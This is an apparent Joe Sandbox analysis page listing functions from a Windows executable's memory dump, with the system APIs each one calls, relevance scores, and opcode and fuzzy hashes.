Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction ID: 68d2a2a6a16eeeafda15eef17f2bb9258001bd7b0a3b907b9e1539a7f3d86a0c
Opcode Fuzzy Hash: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction Fuzzy Hash: CAD18572B1868687D764CF1AE1846AABBA1F7D8744F148134DB5ED7B84EE3CE941CB00

Function 00007FF6FE18B6D8 Relevance: 4.5, APIs: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF6FE18BA9D), ref: 00007FF6FE18B6E5
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,00007FF6FE18BA9D), ref: 00007FF6FE18B719
LocalFree.KERNEL32(?,?,?,?,?,?,?,00007FF6FE18BA9D), ref: 00007FF6FE18B743

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID:
API String ID: 1365068426-0
Opcode ID: c27e05edbcf0c556cf9f4b9f4aa6354f64d9dc72ff0f252d3a2ededa039666af
Instruction ID: f2d94dd7eabefc5eff24a85ff078c1fcc797a66c0ca25ee228bc663fa0475863
Opcode Fuzzy Hash: c27e05edbcf0c556cf9f4b9f4aa6354f64d9dc72ff0f252d3a2ededa039666af
Instruction Fuzzy Hash: F601DA76A0C74282E720DF67A89057AA695BBD9BC0F484034EA9E86B95EF3CE5158700

Function 00007FF6FE1BFCA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

., xrefs: 00007FF6FE1BFEE4

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 7c9d8364e7b62915daf92aecf888b4814fe01b6aae5fc02ec6e7aa2f3019df5b
Instruction ID: 5d8188e9aaa948048afb62462e00fa4d795e6ef426e421ead9f60ba126a3017d
Opcode Fuzzy Hash: 7c9d8364e7b62915daf92aecf888b4814fe01b6aae5fc02ec6e7aa2f3019df5b
Instruction Fuzzy Hash: 4331C522F1869545EB60DA379C057B96E91ABE8BE4F548235FE6C87BC5EE3CD501C300

Function 00007FF6FE1C5AF8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF6FE1C5D45
RaiseException.KERNEL32 ref: 00007FF6FE1C5D56

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 131550a8e914c8a4384a7255cc8ec53066b4dff0b7ecc1394be8dfb6b4310eca
Instruction ID: 628e515ea78b9c1b58244c0d3a9bda36606a2221e400967efc609708defcf5bb
Opcode Fuzzy Hash: 131550a8e914c8a4384a7255cc8ec53066b4dff0b7ecc1394be8dfb6b4310eca
Instruction Fuzzy Hash: 8CB12973A14B858AEB15CF2EC8463A87BA0F794B48F158931EA6DC77A4DF39D451C700

Function 00007FF6FE1A8DF4 Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE1A85E0: GetDC.USER32 ref: 00007FF6FE1A85EC
Part of subcall function 00007FF6FE1A85E0: GetDeviceCaps.GDI32 ref: 00007FF6FE1A85FD
Part of subcall function 00007FF6FE1A85E0: ReleaseDC.USER32 ref: 00007FF6FE1A860A

GetObjectW.GDI32 ref: 00007FF6FE1A8E48

Part of subcall function 00007FF6FE1A90B0: GetDC.USER32 ref: 00007FF6FE1A90D9
Part of subcall function 00007FF6FE1A90B0: GetObjectW.GDI32 ref: 00007FF6FE1A9107
Part of subcall function 00007FF6FE1A90B0: ReleaseDC.USER32 ref: 00007FF6FE1A91BB

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID:
API String ID: 1061551593-0
Opcode ID: 68dbe16693602acb82a0a9c061fd0d735b77194d41f4ab9e90264308bb487059
Instruction ID: 01ef692d05cc3525a648c7e3bf016c2b245ce3cce902f5a243bdb8614f496b89
Opcode Fuzzy Hash: 68dbe16693602acb82a0a9c061fd0d735b77194d41f4ab9e90264308bb487059
Instruction Fuzzy Hash: F1812A76F08A1586EB20CF6AE4446AD7B71BB94F88F004132EE1D977A4EF78E549C340

Function 00007FF6FE1AA2CC Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF6FE1AA315
GetNumberFormatW.KERNEL32 ref: 00007FF6FE1AA371

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: a0c8fcaef59427837b2a7c7753e3d717a8442860a15e47712294eddcbb527c28
Instruction ID: cadbfc35a39954b54b7ce05d604ea44a55bd48ff7bf2fa8f719eb4961680520b
Opcode Fuzzy Hash: a0c8fcaef59427837b2a7c7753e3d717a8442860a15e47712294eddcbb527c28
Instruction Fuzzy Hash: EA115C36A08B8195E761CF12E4007E97761FFD8B48F844135EA5D83AA8EF3CE149C744

Function 00007FF6FE19126C Relevance: 1.7, APIs: 1, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE1924C0: CreateFileW.KERNELBASE ref: 00007FF6FE19259B
Part of subcall function 00007FF6FE1924C0: GetLastError.KERNEL32 ref: 00007FF6FE1925AE
Part of subcall function 00007FF6FE1924C0: CreateFileW.KERNEL32 ref: 00007FF6FE19260E
Part of subcall function 00007FF6FE1924C0: GetLastError.KERNEL32 ref: 00007FF6FE192617

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1915D0

Part of subcall function 00007FF6FE193980: MoveFileW.KERNEL32 ref: 00007FF6FE1939BD
Part of subcall function 00007FF6FE193980: MoveFileW.KERNEL32 ref: 00007FF6FE193A34

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: File$CreateErrorLastMove$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 34527147-0
Opcode ID: 1488c1936801c91a2cee98249e7db5a0996b073c688c31523c97a3bef9f1bd63
Instruction ID: 0e09924f4b52e989a3697c0115fb80c6a3a8be45a5d00fc0827f8b267108c812
Opcode Fuzzy Hash: 1488c1936801c91a2cee98249e7db5a0996b073c688c31523c97a3bef9f1bd63
Instruction Fuzzy Hash: 68918B62F18A4682EB10DB67E4442AE6B61FBE5BC4F414032FE1D97BD9EE38D585C340

Function 00007FF6FE194EB0 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF6FE194EE2

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 5e1f820920c456f15e44ae9d5f0cc3b6f822566f542002a6e47536c5256bfc9c
Instruction ID: ee79a550b97e72e01bfe593605bf10280620ffee6da4cdbc85f45a0636bc3fd9
Opcode Fuzzy Hash: 5e1f820920c456f15e44ae9d5f0cc3b6f822566f542002a6e47536c5256bfc9c
Instruction Fuzzy Hash: 1F017C71D4D98389FB31CB26A4943F92B91ABF9306F440134F5BD866D5EE2CB098CA04

Function 00007FF6FE1B8C1C Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF6FE1B8DD3

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 0fbd957179d89af9e1d3453d65279f22830f04fe064c784c04e338e6c7bf3646
Instruction ID: 4418f5b94f595c7ed4b395c7fe0f994b2d7be5e84075015c7eeb8560109d99b9
Opcode Fuzzy Hash: 0fbd957179d89af9e1d3453d65279f22830f04fe064c784c04e338e6c7bf3646
Instruction Fuzzy Hash: 9181D321E2824286EBA8CA2780806BD6A91EFF1F44F541536FD29D77D5EF3DE846C740

Function 00007FF6FE1B89A0 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF6FE1B8B3A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: a261a21fa45f21d734edfefcd2ffe271b1157111beaf653bc061adca1a26389c
Instruction ID: 1e37667efa94a1a4bc0f071dfa94c4fc1f6160e860c44939440db72ecb151f94
Opcode Fuzzy Hash: a261a21fa45f21d734edfefcd2ffe271b1157111beaf653bc061adca1a26389c
Instruction Fuzzy Hash: FC71E561E0C28246EBA8CA3B81402BD6F90AFE1F44F141935FD29D77D6EF2DE8468741

Function 00007FF6FE19C96C Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

gj, xrefs: 00007FF6FE19C97B

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 226aa63bfce789330e15763d8953fb7d553c3450d9c1aa6f260de1088bdface5
Instruction ID: 6c39bd0cac1b9f721bdfe749d4b368cd4061e1658d733742cc5ead6a080ae246
Opcode Fuzzy Hash: 226aa63bfce789330e15763d8953fb7d553c3450d9c1aa6f260de1088bdface5
Instruction Fuzzy Hash: 1D51B137B286908BD724CF26E40099E77A5F388758F045126FF9A83B48DB39E945CF40

Function 00007FF6FE1BC838 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF6FE1BC874

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 49e7fa989fc271adaa8e130b28d1cae0d9f82f392019a5f874cdac11a507a941
Instruction ID: dcd83db7fd2c3d85b3bda897f47599bd5cbb085792436433b4d7ba959fd43cc6
Opcode Fuzzy Hash: 49e7fa989fc271adaa8e130b28d1cae0d9f82f392019a5f874cdac11a507a941
Instruction Fuzzy Hash: 1241C022B14A4586EF08CF2BD4142A977A6B7A8FD0B499036EE2EC7794EE3CD041C300

Function 00007FF6FE1C0D20 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6FE1C0D24

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 4ce929ddb23f73c0a8458b43b9ad49d4d7e2a2f746430c3d48bba7e89996d797
Instruction ID: 01923c81e9f7d864f44aed0f145e3ddf2ae34dce080abc101ee923c3d38dff35
Opcode Fuzzy Hash: 4ce929ddb23f73c0a8458b43b9ad49d4d7e2a2f746430c3d48bba7e89996d797
Instruction Fuzzy Hash: 98B09224F17E02C2EB08AB166C8229426A4BFA8B00F94A078E11CC1360EE3C30AA4B00

Function 00007FF6FE1A3964 Relevance: .9, Instructions: 931COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1df1e6e81a57214c8643d36be1bb9cde3812740f73d4ab830297bee2ffae98a2
Instruction ID: 567a8cccf76c4670024149d0b4765f1e3649c35b6571199964513c550561e62b
Opcode Fuzzy Hash: 1df1e6e81a57214c8643d36be1bb9cde3812740f73d4ab830297bee2ffae98a2
Instruction Fuzzy Hash: A482E5A2E496C186D715CF26D4442BC7F61E7A5F84F19813AEA6E873C5EE3CD849C310

Function 00007FF6FE1876C0 Relevance: .9, Instructions: 893COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb6bb4a62616f0bcd3e2e2126cd32946fe2ad160a7c0dbd4e5bd03ed1428d6a6
Instruction ID: 505aa6deba3dbf66c595b0aff7ab16a8dcacf0f63054b350009235a1d4f6c582
Opcode Fuzzy Hash: fb6bb4a62616f0bcd3e2e2126cd32946fe2ad160a7c0dbd4e5bd03ed1428d6a6
Instruction Fuzzy Hash: 72628D9AD3AF9A1EE303A53954131D2E35C0EF74C9551E31BFCE431E66EB92A6832314

Function 00007FF6FE1A53F0 Relevance: .9, Instructions: 891COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83a45c88a368d7276059de07aefbbc35b61cea5d64746511b72f3674958eea04
Instruction ID: f2748e8075d2b26b06b70d8de143343c0069ec2197585a795d037f2f98cfec09
Opcode Fuzzy Hash: 83a45c88a368d7276059de07aefbbc35b61cea5d64746511b72f3674958eea04
Instruction Fuzzy Hash: 7482F1B3E096C18AD725CE29D4446FC7B61F7A6F48F088136DA6D87789EE3C9489C710

Function 00007FF6FE19BB90 Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffdf8f5a64276e3eb417e3b9ae5b43350349d41efb04db03fca9f8ba9e24336f
Instruction ID: d2387d782abcd6d828d6c4d60e241f382c66243435dca91ca986e0a7669a54e8
Opcode Fuzzy Hash: ffdf8f5a64276e3eb417e3b9ae5b43350349d41efb04db03fca9f8ba9e24336f
Instruction Fuzzy Hash: 6D22E473B246508BD728CF25C89AE5E3766F798744B4B8228DF0ACB789DB38D505CB40

Function 00007FF6FE1A4B98 Relevance: .6, Instructions: 578COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21143e83615dcc23e36b64f0d60848ac948cba63854c17a605a1a3ec217f9251
Instruction ID: 32eb3ef7f05ab90e0ebb09f53edacea3ba6e15af9f6539d95ac483edd11a1d9a
Opcode Fuzzy Hash: 21143e83615dcc23e36b64f0d60848ac948cba63854c17a605a1a3ec217f9251
Instruction Fuzzy Hash: C332B472E085918BE718CF25D5506BC3BA1F7A5B48F058139EA5A87BC4EF3CE869C740

Function 00007FF6FE187288 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
